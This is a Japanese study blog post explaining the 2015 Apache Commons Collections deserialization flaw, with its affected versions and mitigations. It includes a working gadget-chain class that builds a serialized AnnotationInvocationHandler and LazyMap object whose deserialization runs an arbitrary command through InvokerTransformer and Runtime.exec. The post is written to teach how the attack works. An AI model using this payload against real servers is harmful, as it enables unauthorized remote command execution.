[Java] Commons Collections の「リモートから任意のコマンドが実行できる脆弱性」のお勉強


# 目的

- Commons Collections の脆弱性の件の話を、最近(2015-11-10ごろから)良く聞きます
- リモートから任意のコマンドを実行可能という問題
- [元ネタ](http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
- 簡単な経緯
    - 2015-01-28 に Commons Collections の脆弱性について公表
    - 2015-11-06 にブログで再度公表
    - 各種ミドルウェアなど(WebLogic、WebSphere、JBoss、Jenkins、等々)にも影響あり。未だにほとんど対策されていない（という話だった。今では対策も進んでいるはず）
- 詳細な影響範囲や対策内容などについては、その他のサイトにお任せします
    - [Apache Commonsのcollectionsの脆弱性に関連するリンク集をまとめてみた。](http://d.hatena.ne.jp/Kango/20151110/1447175137)
    - [主要Javaアプリケーションサーバに影響するJavaライブラリの脆弱性を正しく理解する](http://blog.trendmicro.co.jp/archives/12577)
    - [参考訳：拡散したJavaデシリアル化の脆弱性についてApache Commonsの声明](http://anond.hatelabo.jp/20151112052038)
    - [JVNVU#94276522](https://jvn.jp/vu/JVNVU94276522/)
- 具体的にどんな風に攻撃しているのか、ちょこっとお勉強してみました

参考（Commons Collections）：
- [Apache Commons - Collections](https://commons.apache.org/proper/commons-collections/)
- Wikipedia: [Apache Commons Collections](https://ja.wikipedia.org/wiki/Apache_Commons_Collections)


# 脆弱性概要

## 発生条件

- JavaSE 5.0 以降が対象？
- Commons Collections 3.0～3.2.1 あるいは 4.0 がクラスパスにある
- シリアライズされたオブジェクトを外部から喰わせることができる

これだけかな？

## 対策方法（案）

最大のポイントは Commons Collections の `InvokerTransformer` なんでしょうね。
これを無効化させれば良いみたい。

Commons Collections の Jar から削除するとか、対策済みのクラスをクラスパスの前の方に差し込むとか？

詳細はその手のサイトなどでお調べください。

【追記】

新しくリリースされた Commons Collections 3.2.2 では、システムプロパティで指定しない限り `org.apache.commons.collections.functors` パッケージの以下クラスのシリアライズを無効化する対応をしているみたいですね。

- CloneTransformer
- ForClosure
- InstantiateFactory
- InstantiateTransformer
- InvokerTransformer
- PrototypeFactory$PrototypeCloneFactory
- PrototypeFactory$PrototypeSerializationFactory
- WhileClosure

もしなんらかの理由でライブラリを最新化できない場合には、個別にこの８クラスを無効化すればいいんですかね。

# 攻撃ソース（サンプル）

元ネタのところにおおよそのソースが載っていますし、詳細なソースは GitHub に公開されています。

自分なりに必要そうなところを最小限だけ切り出してみました。

```java:CommonsCollectionsTest.java
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

public class CommonsCollectionsTest {

	public static InvocationHandler getObject(String command) throws Exception {
		// 【手順１】まずは普通の LazyMap を作成する
		Transformer transformerChain = new ChainedTransformer(
				new Transformer[] { new ConstantTransformer(1) });
		Map<?, ?> innerMap = new HashMap<>();
		Map<?, ?> lazyMap0 = LazyMap.decorate(innerMap, transformerChain);

		// 【手順２】lazyMap0 をアノテーションの値として、アノテーション呼び出しハンドラーを生成する
		InvocationHandler handler1 = createMemoizedInvocationHandler(lazyMap0);

		// 【手順３】生成したハンドラーを Map の Proxy にする
		Map<?, ?> mapProxy = (Map<?, ?>) Proxy.newProxyInstance(
				CommonsCollectionsTest.class.getClassLoader(),
				new Class<?>[] { Map.class },
				handler1);

		// 【手順４】さらに「ProxyにしたMapを値としたアノテーション呼び出しハンドラー」を生成する
		InvocationHandler handler2 = createMemoizedInvocationHandler(mapProxy);

		// 【手順５】指定コマンドを実行するロジックを生成
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod",
						new Class[] { String.class, Class[].class },
						new Object[] { "getRuntime", new Class[0] }),
				new InvokerTransformer("invoke",
						new Class[] { Object.class, Object[].class },
						new Object[] { null, new Object[0] }),
				new InvokerTransformer("exec",
						new Class[] { String.class },
						new String[] { command }),
				new ConstantTransformer(1) };

		// 【手順６】LazyMap の初期化ロジックを、コマンドを実行するロジックに差し替える
		setFieldValue(transformerChain, "iTransformers", transformers);

		return handler2;
	}

	/** 指定されたマップをアノテーションの定義値とする、アノテーション呼び出しハンドラーを作る */
	private static InvocationHandler createMemoizedInvocationHandler(Map<?, ?> map) throws Exception {
		Class<?> handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor<?> constructor = handler.getDeclaredConstructor(Class.class, Map.class);
		constructor.setAccessible(true);
		return (InvocationHandler) constructor.newInstance(Override.class, map);
	}

	/** フィールドに値を設定 */
	private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
		Field field = getField(obj.getClass(), fieldName);
		field.setAccessible(true);
		field.set(obj, value);
	}

	/** フィールドを取得 */
	private static Field getField(Class<?> clazz, String fieldName) throws Exception {
		Field field = clazz.getDeclaredField(fieldName);
		if (field == null && clazz.getSuperclass() != null) {
			// 指定クラスになければ、再帰的に親クラスから取得
			field = getField(clazz.getSuperclass(), fieldName);
		}
		return field;
	}
}
```

# 攻撃準備

まずは、順番に追いかけていきます。

## 【手順１】

【手順１】で普通の `LazyMap` を生成します。
`LazyMap` は Commons Collectons の機能の１つで、存在しないキーで `get()` されたときに遅延初期化する Map コレクションですね。
インスタンス名は `lazyMap0` とします。

## 【手順２】

次に【手順２】でこのマップを元に「アノテーション呼び出しハンドラー」の `handler1` を生成します。

いきなり難易度高いですが。

アノテーション呼び出しハンドラー( `sun.reflect.annotation.AnnotationInvocationHandler` )は、公開されていない Java 内部のクラスのようです。
アノテーションで定義された情報を取得するための Proxy 用なんでしょうね。

ここでは `@Override` アノテーションの「アノテーション呼び出しハンドラー」を生成しています（アノテーションの種類は何でも良いみたいですね）。
そしてアノテーションの定義値として `lazyMap0` を設定しています。

もしこの `handler1` を呼び出すと、呼び出そうとしたメソッド名をアノテーションの属性名だと思って `lazyMap0` を `get()` してしまいます。

「アノテーション呼び出しハンドラー」は、本来の目的とは関係なく `readObject()` や `invoke()` の中で `Map` にアクセスするという仕様のため悪用されただけみたいですね。
似たようなことをするクラスが他にあれば、代わりに使うことも可能かもしれません。
今回の攻撃に関係しそうな部分だけを抽出すると、以下のようになると思います。 `memberValues` に `lazyMap0` を登録しています。

```java:AnnotationInvocationHandler.java
package sun.reflect.annotation;
// ...
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    
    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        // ...
        this.memberValues = memberValues;
    }
    
    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        // ...
        Object result = memberValues.get(member);
        // ...
        return result;
    }
    
    // ...
    
    private void readObject(java.io.ObjectInputStream s)
            throws java.io.IOException, ClassNotFoundException {
        // ...
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            // ...
        }
        // ...
    }
}
```

## 【手順３】

【手順３】では生成したハンドラー `handler1` をもとに、Map の Proxy である `mapProxy` を生成します。

これは `java.lang.reflect.Proxy` や `java.lang.reflect.InvocationHandler` が分かっていれば、理解は難しくないかな。
プロキシー( `java.lang.reflect.Proxy` )は、任意のインタフェースを実装した代理インスタンスを動的に生成する機能です。そして代理応答するクラスが先ほどの呼び出しハンドラー( `java.lang.reflect.InvocationHandler` )になります。

つまり、この `mapProxy` に対して何かメソッドを呼び出すと( `get()` でも `entrySet()` でも、その他 Map のメソッドならなんでも）、 `handler1` を呼び出してしまうわけですね。

## 【手順４】

【手順４】ではさらに、`mapProxy`をアノテーションの定義値とした「アノテーション呼び出しハンドラー」の `handler2` を生成しています。

だんだん頭が混乱してきますが。

## 【手順５】

【手順５】では、指定したコマンドを実行するロジックを生成します。

これがキーポイントで `ChainedTransformer` や `InvokerTransformer` を使って任意のコマンドを実行してしまうわけです。
問題の `InvokerTransformer` はリフレクションを使ってデータを変換するというものです。
Map の初期値を求めるロジックは、仮にラムダ式で表すなら以下のような内容ですね。

```java
Supplier<Integer> f = () -> {
    Runtime.class.getMethod("getRuntime").invoke(null).exec(command);
    return 1;
}
```

## 【手順６】

【手順６】は `lazyMap0` の中に設定した `transformerChain` の中身を、【手順５】で作った任意のコマンドを実行できるロジックに無理やり変えてしまっています。

# 被害状況確認

最終的に【手順４】で作った `handler2` をシリアライズして、攻撃対象のサイトに送り込むことになります。

## デシリアライズ

では攻撃対象のサーバが `handler2` をデシリアライズしたらどうなるか？

`handler2` は「アノテーション呼び出しハンドラー」ですので、デシリアライズ時には `AnnotationInvocationHandler#readObject()` が呼び出されます。

`AnnotationInvocationHandler#readObject()` の中で `memberValues.entrySet()` が呼び出されます。
`handler2` の `memberValues` は、【手順３】で生成した `mapProxy` が設定されています。

そして `mapProxy.entrySet()` が呼び出されると、Proxy の呼び出しハンドラーである  `handler1` が呼び出されます。

`handler1` が `entrySet()` の代わりに呼び出されると、 メソッド名 "entrySet" をアノテーション名だと思って `lazyMap0` を `get()` します。

この時点で `lazyMap0` は空なので `get()` されると、初期値を生成しようとします。
`lazyMap0` の初期値を求めるロジックは、【手順５】で生成した任意のコマンドを実行するというものです。

アウチ！

デシリアライズの最中に、任意のコマンドを実行されてしまいますね。

# まとめ（てない）

いろいろと難しいですね。

今回は `AnnotationInvocationHandler` + `LasyMap` + `InvokerTransformer` の組み合わせで攻撃を仕掛けていますが、他の組み合わせも可能な気がします。

さすがに直接 `readObject()` の中で任意のロジックを動かせるケースは無いと思うので、今回のように `java.lang.reflect.Proxy` でアダプタして２段階にする必要はあるのでしょうね。
同じ方法で攻撃するなら以下の要素が必要なのかな。

- 要素１：データを元に任意の処理ができる
    - コード(Perm)ではなくデータ(Heap)の情報で任意の処理ができる
    - リフレクションとか（他にもあるかも）
    - 今回のケースでは `InvokerTransformer`
- 要素２：任意のクラス
    - シリアライズ可能なこと
    - 内部で抱えたデータをもとに要素１を呼び出すメソッド
    - 今回のケースでは `LasyMap` と `LasyMap#get()`
- 要素３：`InvocationHandler` の具象クラス
    - シリアライズ可能なこと
    - 要素２をメンバ変数としてもつ
    - `invoke()` 内で要素２のメソッドを呼び出すこと
    - 今回のケースでは `AnnotationInvocationHandler`
- 要素４：任意のクラス
    - シリアライズ可能なこと
    - `readObject()` の中で自分のメンバ変数のメソッドを呼び出している
    - 今回のケースでは `AnnotationInvocationHandler` と `Map#entrySet()`
- 要素５：要素４のメンバ変数
    - インタフェースの型として定義されていること
    - Proxy 先として要素３の `InvocationHandler` を呼び出して矛盾がないこと
    - 今回のケースでは `Map` である `AnnotationInvocationHandler#memberValues`

今回は、要素３と要素４が同じ `AnnotationInvocationHandler` だけど、別に同じにしないといけないわけじゃない。要素４は `InvocationHandler` である必要もない。
同様に、要素２と要素５はどちらも `Map` だけど、これも別物でもかまわない。
そう考えると、要素３～要素５はいろいろな代替案がありそうです。

そして、最大の問題であるはずの要素１ですが、これって他にもないんですかね？
Lisp 系の「プログラムコードもデータ」的な話もよく聞きますし。

後知恵で「 `InvokerTransformer` が危険だ」というのは簡単ですが、何が危険で何が安全なのか判断は難しいですね。